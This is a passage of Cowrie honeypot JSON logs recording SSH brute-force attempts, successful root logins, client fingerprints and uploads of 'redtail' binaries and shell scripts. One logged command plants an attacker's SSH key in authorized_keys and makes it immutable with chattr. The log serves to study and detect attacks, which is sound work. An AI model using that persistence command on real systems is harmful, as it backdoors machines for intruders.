ss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:19.430040Z","src_ip":"130.12.180.51","session":"37e8259faa4e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P","message":"login attempt [root/P] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:19.675911Z","src_ip":"130.12.180.51","session":"37e8259faa4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":52756,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e417a1bdc42","protocol":"ssh","message":"New connection: 92.118.39.56:52756 (10.17.0.5:22) [session: 1e417a1bdc42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:35.070420Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:35.184968Z","src_ip":"92.118.39.56","session":"1e417a1bdc42","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:36.872639Z","src_ip":"130.12.180.51","session":"37e8259faa4e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"","message":"CMD: chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:36.875882Z","src_ip":"130.12.180.51","session":"37e8259faa4e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6","size":83,"shasum":"4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:36.961395Z","src_ip":"130.12.180.51","session":"37e8259faa4e","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"clean.sh","outfile":"var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","shasum":"d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","message":"SFTP Uploaded file \"clean.sh\" to var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:37.045024Z","src_ip":"130.12.180.51","session":"37e8259faa4e","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.arm7","outfile":"var/lib/cowrie/downloads/3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","shasum":"3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","message":"SFTP Uploaded file \"redtail.arm7\" to var/lib/cowrie/downloads/3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:37.054580Z","src_ip":"130.12.180.51","session":"37e8259faa4e","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.arm8","outfile":"var/lib/cowrie/downloads/dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","shasum":"dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","message":"SFTP Uploaded file \"redtail.arm8\" to var/lib/cowrie/downloads/dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:37.066674Z","src_ip":"130.12.180.51","session":"37e8259faa4e","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.i686","outfile":"var/lib/cowrie/downloads/048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","shasum":"048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","message":"SFTP Uploaded file \"redtail.i686\" to var/lib/cowrie/downloads/048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:37.078817Z","src_ip":"130.12.180.51","session":"37e8259faa4e","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.x86_64","outfile":"var/lib/cowrie/downloads/59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","shasum":"59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","message":"SFTP Uploaded file \"redtail.x86_64\" to var/lib/cowrie/downloads/59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:37.093421Z","src_ip":"130.12.180.51","session":"37e8259faa4e","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"setup.sh","outfile":"var/lib/cowrie/downloads/783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","shasum":"783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","message":"SFTP Uploaded file \"setup.sh\" to var/lib/cowrie/downloads/783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:37.097291Z","src_ip":"130.12.180.51","session":"37e8259faa4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.8","message":"Connection lost after 17.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:37.184117Z","src_ip":"130.12.180.51","session":"37e8259faa4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":38312,"dst_ip":"10.17.0.5","dst_port":22,"session":"64c4f0e7f6d5","protocol":"ssh","message":"New connection: 92.118.39.56:38312 (10.17.0.5:22) [session: 64c4f0e7f6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:45:40.499168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:45:40.505430Z","src_ip":"92.118.39.56","session":"64c4f0e7f6d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:45:40.607665Z","src_ip":"92.118.39.56","session":"64c4f0e7f6d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:45:40.974952Z","src_ip":"92.118.39.56","session":"64c4f0e7f6d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:45:42.081733Z","src_ip":"92.118.39.56","session":"64c4f0e7f6d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":44082,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb36da8482c3","protocol":"ssh","message":"New connection: 92.118.39.56:44082 (10.17.0.5:22) [session: bb36da8482c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:47:59.810699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:47:59.815844Z","src_ip":"92.118.39.56","session":"bb36da8482c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:47:59.917600Z","src_ip":"92.118.39.56","session":"bb36da8482c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:48:00.346025Z","src_ip":"92.118.39.56","session":"bb36da8482c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:48:01.457791Z","src_ip":"92.118.39.56","session":"bb36da8482c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":34454,"dst_ip":"10.17.0.5","dst_port":22,"session":"58ca5752d7b4","protocol":"ssh","message":"New connection: 14.225.2.125:34454 (10.17.0.5:22) [session: 58ca5752d7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:02.947044Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:03.217072Z","src_ip":"14.225.2.125","session":"58ca5752d7b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":34468,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d1c343203ac","protocol":"ssh","message":"New connection: 14.225.2.125:34468 (10.17.0.5:22) [session: 9d1c343203ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:03.477713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:03.485697Z","src_ip":"14.225.2.125","session":"9d1c343203ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:03.756482Z","src_ip":"14.225.2.125","session":"9d1c343203ac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"samantha","message":"login attempt [root/samantha] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:04.557391Z","src_ip":"14.225.2.125","session":"9d1c343203ac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:05.159341Z","src_ip":"14.225.2.125","session":"9d1c343203ac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:05.162411Z","src_ip":"14.225.2.125","session":"9d1c343203ac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:05.431607Z","src_ip":"14.225.2.125","session":"9d1c343203ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:05.439868Z","src_ip":"14.225.2.125","session":"9d1c343203ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":49854,"dst_ip":"10.17.0.5","dst_port":22,"session":"15260e8e39fe","protocol":"ssh","message":"New connection: 92.118.39.56:49854 (10.17.0.5:22) [session: 15260e8e39fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:09.623428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:09.671381Z","src_ip":"92.118.39.56","session":"15260e8e39fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:09.777112Z","src_ip":"92.118.39.56","session":"15260e8e39fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:10.263217Z","src_ip":"92.118.39.56","session":"15260e8e39fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:50:11.405778Z","src_ip":"92.118.39.56","session":"15260e8e39fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":63626,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1a68e80e207","protocol":"ssh","message":"New connection: 185.156.73.233:63626 (10.17.0.5:22) [session: a1a68e80e207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:51:19.830133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:51:22.019653Z","src_ip":"185.156.73.233","session":"a1a68e80e207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:51:23.256239Z","src_ip":"185.156.73.233","session":"a1a68e80e207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":8313,"dst_ip":"10.17.0.5","dst_port":22,"session":"be6f0563080e","protocol":"ssh","message":"New connection: 2.57.121.112:8313 (10.17.0.5:22) [session: be6f0563080e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:51:26.983868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:51:26.988333Z","src_ip":"2.57.121.112","session":"be6f0563080e","protocol":"ssh"}
